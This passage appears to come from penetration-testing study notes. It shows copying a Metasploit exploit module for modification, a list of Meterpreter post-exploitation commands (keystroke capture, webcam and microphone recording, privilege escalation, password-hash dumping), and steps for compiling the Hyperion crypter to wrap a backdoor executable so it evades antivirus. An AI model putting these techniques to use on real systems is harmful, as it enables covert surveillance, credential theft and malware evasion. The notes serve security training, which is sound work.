      cp /usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb ./crossfire.rb  
      nano crossfire.rb
  • Post Exploitation with Metasploit - (available options depend on OS and Meterpreter Cababilities)

    • download Download a file or directory
      upload Upload a file or directory
      portfwd Forward a local port to a remote service
      route View and modify the routing table
      keyscan_start Start capturing keystrokes
      keyscan_stop Stop capturing keystrokes
      screenshot Grab a screenshot of the interactive desktop
      record_mic Record audio from the default microphone for X seconds
      webcam_snap Take a snapshot from the specified webcam
      getsystem Attempt to elevate your privilege to that of local system.
      hashdump Dumps the contents of the SAM database
  • Meterpreter Post Exploitation Features

    • Create a Meterpreter background session


Bypassing Antivirus Software

  • Crypting Known Malware with Software Protectors

    • One such open source crypter, called Hyperion

      cp /usr/share/windows-binaries/  
      cd Hyperion-1.0/  
      i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe  
      cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll .  
      cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll .  
      wine hyperion.exe ../backdoor.exe ../crypted.exe


Python, C, Reverse Engineering, Security